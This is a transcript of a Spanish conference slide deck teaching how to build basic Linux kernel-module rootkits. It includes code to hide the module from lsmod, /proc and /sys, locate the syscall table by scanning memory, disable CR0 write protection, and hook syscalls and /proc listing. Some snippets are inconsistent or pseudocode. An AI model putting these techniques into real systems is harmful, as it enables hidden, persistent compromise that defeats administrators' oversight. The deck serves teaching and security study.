construyendo rootkits basicos

25
Building Basics Rootkits Building Basics Rootkits Attack Strategies 07 de Septiembre de 2015

Upload: tensor

Post on 29-Jan-2018

286 views

Category:

Education


0 download

TRANSCRIPT

Page 1: Construyendo rootkits basicos

Building Basics Rootkits

Building Basics Rootkits

Attack Strategies

07 de Septiembre de 2015

Page 2: Construyendo rootkits basicos

Building Basics Rootkits

Contents1 Introduccion

¿Que es un Rootkit?

Tipos de Rootkits

Funciones Comunes de Rootkits

2 Manos a la Obra

Consideraciones

Primeros Pasos

Ejercicio: Hello World Module

Manejando Parametros

3 Topicos Avanzados

Trabajando con la Estructura de Tareas

Escondiendo nuestros pasos

4 Referencias

5 The End

Page 3: Construyendo rootkits basicos

Building Basics Rootkits

Introduccion

¿Que es un Rootkit?

¿Que es un Rootkit?

Un rootkit (segun Wikipedia), se puede definir como:

Un programa que permite un acceso de privilegiocontinuo a una computadora pero que mantiene supresencia activamente oculta al control de losadministradores al corromper el funcionamiento normaldel sistema operativo o de otras aplicaciones.

Page 4: Construyendo rootkits basicos

Building Basics Rootkits

Introduccion

Tipos de Rootkits

Tipos de Rootkits

Practicamente podemos hablar de dos tipos de rootkits:

1 Rootkits en Espacio de Usuario, Los cuales corren enRing-3, y modifican librerıas, o archivos de configuracion, einclusive ejecutables (ls, ps, etc).

2 Rootkits en Espacio de Kernel, Los cuales corren enRing-0, y modifican estructuras del kernel, atrapan llamadasde sistema (hijacking syscall-table), etc. Podemos tenerloscomo LKM’s o como patch al kernel corriendo /dev/kmem

Page 5: Construyendo rootkits basicos

Building Basics Rootkits

Introduccion

Funciones Comunes de Rootkits

Funciones Comunes de Rootkits

Esconder Procesos

Esconder Archivos

Esconder Conexiones de Red

Backdoors

Keyloggers

Darnos acceso a root

Page 6: Construyendo rootkits basicos

Building Basics Rootkits

Manos a la Obra

Consideraciones

Consideraciones

Las diferencias mas importantes entre un desarrollo a nıvel kernel oespacio usuario son:

El kernel carece de proteccion de memoria... algo que seofrece en el espacio de usuario.

El kernel no puede ejecutar de manera sencilla operaciones enpunto flotante.

El kernel tiene un espacio en pila muy reducido por proceso.

Debido a la naturaleza asıncrona de las interrupciones delkernel, la concurrencia es de los temas a poner mas enfasis aldesarrollar (Race-Conditions).

La portabilidad... entre version y version de nucleo.

Page 7: Construyendo rootkits basicos

Building Basics Rootkits

Manos a la Obra

Primeros Pasos

Primeros Pasos

Algunas Macros importantes:

module init();

module exit();

MODULE LICENSE(”GPL”);

MODULE AUTHOR(”NataS”);

MODULE DESCRIPTION(”My LKM”);

Page 8: Construyendo rootkits basicos

Building Basics Rootkits

Manos a la Obra

Ejercicio: Hello World Module

Hello World

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

static int hello_init(void) {

printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.\n");

return 0;

}

static void hello_exit(void) {

printk(KERN_ALERT "Goodbye GuadalajaraCon!\n");

}

module_init(hello_init);

module_exit(hello_exit);

MODULE_LICENSE("GPL");

MODULE_AUTHOR("NataS");

MODULE_DESCRIPTION("My First LKM");

Page 9: Construyendo rootkits basicos

Building Basics Rootkits

Manos a la Obra

Ejercicio: Hello World Module

Hello World

Nuestro Makefile:

obj-m := modulo.o

Y Compilamos como:

make -C /lib/modules/$(uname -r)/build

SUBDIRS=$PWD modules

Cargamos nuestro modulo

insmod modulo.ko

Listamos nuestro modulo

lsmod | grep modulo

Eliminamos nuestro modulo

rmmod modulo.ko

Page 10: Construyendo rootkits basicos

Building Basics Rootkits

Manos a la Obra

Manejando Parametros

Manejando Parametros

Los parametros se mandan cuando arrancamos el modulo de laforma:

insmod modulo param1=valor1 param2=valor2

Para definir los parametros, primero declaramos variables y laspasamos a la macro:

module_param(nombre, tipo, permisos)

module_param_string(nombre,variable, longitud, permisos);

Permisos son los definidos en sysfs, y afectan las entradas delmodulo en /sys/module

Page 11: Construyendo rootkits basicos

Building Basics Rootkits

Manos a la Obra

Manejando Parametros

Ejercicio: Name and Age

static char myName[50];

module_param_string(name, myName, 50, 0);

static int age = 1;

module_param(age, int, 0);

...

printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);

Page 12: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Trabajando con la Estructura de Tareas

Trabajando con la Estructura de Tareas

El kernel de linux contiene una lista enlazada (definida eninclude/linux/types.h e include/linux/list.h) de tareas, las cualesson una estructura declarada en include/linux/sched.h.

Page 13: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Trabajando con la Estructura de Tareas

Trabajando con la Estructura de Tareas

Desde el kernel tenemos acceso directo a la lista de tareas(task struct), la cual es una lista doblemente enlazada ¿Aunrecuerdan sus clases de programacion? Para acceder a la estructuraque contiene informacion sobre nuestro proceso, basta con haceruso del puntero current

#include <linux/sched.h>

#include <asm/current.h>

static int hello_init(void) {

printk(KERN_ALERT "My Name --> %s and PID -->

%i \n", current->comm, current->pid);

return 0;

}

Page 14: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Trabajando con la Estructura de Tareas

Ejercicio: Get my PID and all others

Usando los codigos anteriores... Recorran la lista de tareas y pintencada proceso y su PID. Con este acceso pueden intentar esconderun proceso tambien:

Page 15: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Hidding Ver.1

El kernel maneja un lista enlazada en la cual, mantiene lareferencia de todos los modulos que estan cargados (lsmod y/proc leen dicha lista).

Esconder nuestro modulo es muy sencillo, en la funcion deinicio del modulo basta con eliminar la referencia de la lista:

list_del(&THIS_MODULE->list);

Dos problemas con esta primer aproximacion:

1 Aun somos detectables desde /sys

2 Al hacer un unload del modulo, debido a que no existe en lalista, se provoca un Oops que genera un kernel panic o crashdel sistema, dejando rastros.

Page 16: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Ejercicio: Hide myself

Nos escodemos:

static int hide_init(void) {

printk(KERN_ALERT "Hello World! My first LKM.\n");

printk(KERN_ALERT "Let’s get hide myself.\n");

list_del(&THIS_MODULE->list);

return 0;

}

Nos buscamos

lsmod | grep modulo

cat /proc/modules | grep modulo

Nos Encontramos

ls /sys/module/modulo

Page 17: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Hidding. Ve2

Cada entrada en /sys es un objeto module kobject (definidoen module.h) que internamente tienen una estructura del tipokobject (definido en kobject.h).

Examinando el codigo del kernel, vemos que en la descarga delmodulo, primero debemos eliminarnos de /sys yposteriormente de la vista.

Hay que tomar en cuenta, que el kernel no libera objetos queesten iniciados a NULL

Recomendaciones:

1 Recordar informacion previa (prev y next en la lista).

2 Sobreescribir readproc y writeproc

3 Funciones estaticas para no dejar rastros en /proc/kallsyms

Page 18: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Ejercicio: Find Me if You can

static inline void hideme(void) {

list_del(&THIS_MODULE->list);

kobject_del(&THIS_MODULE->mkobj.kobj);

list_del(&THIS_MODULE->mkobj.kobj.entry);

kfree(THIS_MODULE->notes_attrs);

THIS_MODULE->notes_attrs = NULL;

kfree(THIS_MODULE->sect_attrs);

THIS_MODULE->sect_attrs = NULL;

kfree(THIS_MODULE->mkobj.mp);

THIS_MODULE->mkobj.mp = NULL;

THIS_MODULE->modinfo_attrs->attr.name = NULL;

kfree(THIS_MODULE->mkobj.drivers_dir);

THIS_MODULE->mkobj.drivers_dir = NULL;

}

Ahora... busquemos el modulo

Page 19: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Dinamyc Hijacking

La direccion de la sys call table, puede ser encontrada en el archivoSystem.map-$(uname -r) ¿Que ocurre cuando ya no existe esearchivo?

El rango de memoria del kernel en arquitecturas X86 es del0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call tablebasta con buscar hasta la 0xd0000000 ¿porque?CONFIG HIGHMEM.

Para x86 64 podemos encontrar el inicio de la memoria del kernelen 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,es de destacar que igual que en la arquitectura de 32Bits, nodebemos iterar todas las direcciones, basta iterar hasta0xffffffff81ffffff.

Finalmente... solo basta comparar alguna sys call cuyos sımbolos seexporten, sys close por ejemplo.

Page 20: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Dinamyc Hijacking

#if defined __x86_64__

#define START_MEM 0xffffffff81000000

#define END_MEM 0xffffffff81ffffff

#else

#define START_MEM 0xc0000000

#define END_MEM 0xd0000000

#endif

unsigned long **find_syscalltable() {

unsigned long **syscalltable;

unsigned long int i = START_MEM;

while ( i < END_MEM) {

sctable = (unsigned long **)i;

if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {

return &syscalltable[0];

}

i += sizeof(void *);

}

return NULL;

}

Page 21: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Dinamyc Hijacking

Pero la sys call table esta protegida contra escritura ¿o no? Existendiferentes registros de procesador, el que nos interesa es el cr0. Elkernel nos da dos funciones para manipular este registro: write cr0y read cr0.

El Bit 0 de este registro maneja el Protected Mode, por ello sellama WP bit. Solo basta modificar este bit antes y despues delhijacking

write_cr0 (read_cr0 () & (~ 0x10000));

printk(KERN_ALERT "\nWrite Protection Disabled XD");

original_write = (void *)syscall_table[__NR_write];

syscall_table[__NR_write] = new_write;

write_cr0 (read_cr0 () | 0x10000);

printk(KERN_ALERT "\nWrite Protection Enabled");

/*

0X10000 --> 000...010000000000000000

~(0X10000) --> 111...101111111111111111

*/

Page 22: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Hijacking Syscall

Interrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.

syscall natas_open(pathname, flags, mode) {

if (XXX==XXX)

call open(pathname, flags, mode)

else

printf("Not found");

}

Page 23: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Hijacking VFS

Interrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.

syscall natas_lookup(parent_directory,

pathname, ...) {

if (XXX==XXX)

call real_lookup(parent_directory,

pathname, ...)

else

printf("Error");

}

Page 24: Construyendo rootkits basicos

Building Basics Rootkits

Topicos Avanzados

Escondiendo nuestros pasos

Hijacking VFS

struct inode *pinode;

const struct file_operations *proc_original;

static struct file_operations proc_fops;

void hook_proc(struct proc_dir_entry *root) {

struct path proc_path;

if (kern_path("/proc/",0,&proc_path))

return;

pinode = proc_path.dentry->d_inode;

if(!pinode)

return;

proc_fops = *pinode->i_fop;

proc_original = pinode->i_fop;

proc_fops.readdir = natas_lookup;

pinode->i_fop = &proc_fops;

}

Page 25: Construyendo rootkits basicos

Building Basics Rootkits

Referencias

Referencias

Designing BSD Rootkits, Joseph Kong

Linux Kernel Development, Robert Love

Writing Kernel Exploits Paper, Keegan MacAllister

Linux Kernel Crash Book, Igor Ljubuncic

The Rootkits Arsenal, Reverend Bill Blunden